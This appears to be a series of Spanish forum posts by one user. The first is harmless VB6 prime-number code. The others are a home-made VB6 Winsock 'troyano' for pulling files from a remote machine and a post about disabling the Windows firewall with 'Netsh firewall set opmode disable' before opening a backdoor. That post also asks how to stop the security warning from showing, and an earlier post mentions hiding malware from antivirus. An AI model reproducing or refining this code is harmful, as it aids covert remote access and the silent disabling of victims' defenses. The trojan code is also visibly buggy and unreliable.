While EOF(1) = False
Text1.Text = text1.text & vbcrlf & input(LOF(1), #1)
Wend
Close #1
End Sub

#31
Seguridad / ¿cifrado con numeros primos?
21 Agosto 2010, 01:32 AM
Me han dicho que para las contraseñas lo mejor es utilizar un numero primo, no se exactamente como va pero dicen que hay que cojer dos numeros primos altos y sumarlos o multiplicarlos a no se que, pero no se porque por ejemplo si encriptas un malware da igual la contraseña porque el antivirus te lo descifra igualmente en poco tiempo.

en todo caso he creado un programa en VB 6.0 para ir encontrando numeros primos, os dejo el codigo, mirad teneis que poner un timer1 a intervalo 1, luego un timer2 a intervalo 30000, luego un text1 y un text2 ambos con scrollbar vertical y funcion multiline a true


Código (vb) [Seleccionar]
Private Sub Timer1_Timer()
Dim x As Long 'un numero primo es un numero que solo se
Static y As Long 'puede dividir por el mismo o por 1 así que
Dim r As Integer 'tenemos que provar de dividirlo a partir de 2
y = y + 1 ' hasta un numero inferior al numero que estamos
For x = 2 To (y - 1) 'provando, por tanto si la division de y entre x da
If y Mod x = 0 Then 'decimales,
r = r + 1
Else
r = r + 0 ',no se si esta mal ya em corregireis
End If 'el codigo.
Next
If r = 0 Then
Text2.Text = Text2.Text & vbCrLf & y
Else
Text1.Text = Text1.Text & vbCrLf & y
End If
Text1.SelStart = Len(Text1.Text)
Text2.SelStart = Len(Text2.Text)
End Sub

Private Sub Timer2_Timer() 'de tanto en tanto vacio los campos de texto
Text1.Text = "" 'para que estos no se colapsen de tantos numeros
Text2.Text = ""
End Sub


lo he dejado hoy todo el dia de las 12 del medio dia hasta ahora que son la 1.29 de la noche, os pongo unos de los ultimos numeros primos, si esta mal el codigo avisadme por favor:
993121
993203
1005457
1005551

Sometimes you just feel tired, you feel weak, and when you feel weak you feel that you just wanna just give up!

ApOkAlizE
#32
Estoy haciendo un troyano, que lo utilizare con mis amigos para podernos apsarnos los jeugos,peliculas,videos... entre nosotros, o sea que más que un troyano sería una programa de assistencia remota.
el caso es que en la parte de descargar archivos no me funciona, es que la verdad he hecho una chapuza, os dejo el codigo a ver si alguien me puede ayudar.
gracias de antemano.

Private Sub Command1_Click()
Dim rutadescarrega As String
rutadescarrega = Text1.Text
Winsock2.SendData rutadescarrega
End Sub

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim desc As String
Dim nomfitxer As String
Dim rtadesc As String
Dim format As String
Dim tamany2 As Double
format = Text4.Text
nomfitxer = Text2.Text
rtadesc = "C:\P4ND0R4\Descarregues\" & nomfitxer & format
Call Winsock2.GetData(desc, vbString)
Dim desc2 As Long
desc2 = desc2 + desc
If Len(desc2) = tamany Then
Open rtadesc For Binary As #1
Put #1, 1, desc2
Close #1
End If
tamany2 = tamany
ProgressBar1.Min = 0
ProgressBar1.Max = tamany
Label2.Caption = Len(desc2) & "/" & tamany2
ProgressBar1.Value = Label2.Caption
if Len(desc2) = tamany2 Then
Winsock4.sendata "descarregat"
End If
End Sub


server:

Private Sub Winsock4_DataArrival(ByVal bytesTotal As Long)
Dim progr As String
Call Winsock4.GetData(progrés, vbString)
If progr = "descarregat" Then
rutadesc = ""
Dim IP As String
Dim PORT As String
Dim port2 As String
Dim port3 As String
Dim port4 As String
IP = "192.168.1.33"
PORT = "1337"
port2 = "1338"
port3 = "1339"
port4 = "1400"
Winsock1.Close
Winsock1.Connect IP, PORT
Winsock2.Close
Winsock2.Connect IP, port2
Winsock3.Close
Winsock3.Connect IP, port3
Winsock4.Close
Winsock4.Connect IP, port4
End If
End Sub

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim desc As String
Call Winsock2.GetData(desc, vbString)
Dim rutadesc As String
Dim interruptordesc As String
rutadesc = desc
Dim tamanyFitxer As String
Dim tamany As String

Open rutadesc For Binary As #1
tamanyFitxer = Input(LOF(1), 1)
Close #1
tamany = Len(tamanyFitxer)
Winsock2.SendData "arxiudesc" & "|" & tamany & "|" & rutadesc
#33
Bueno, yo uso VB 6.0 y cuando hago algun chat con winsock lo que me pasa es que para desactivar el firewall antes de abrir la puerta trasera utilizo el siguiente codigo
Call Shell("Netsh firewall set opmode disable")
y si me lo desactiva pero sale abajo a la derecha de la pantalla un mensajito que dice:
PUEDE QUE SU EQUIPO ESTÉ EN RIESGO
Ningún servidor de seguridad está activado
Haga clic aqui...
y el caso es que cuando bloqueo el antivirus me pasa exactamente lo mismo, que sale el mensajito, ¿hay alguien que sepa como hacerlo sin que salga el mensajito?
Es pura curiosidad.
Gracias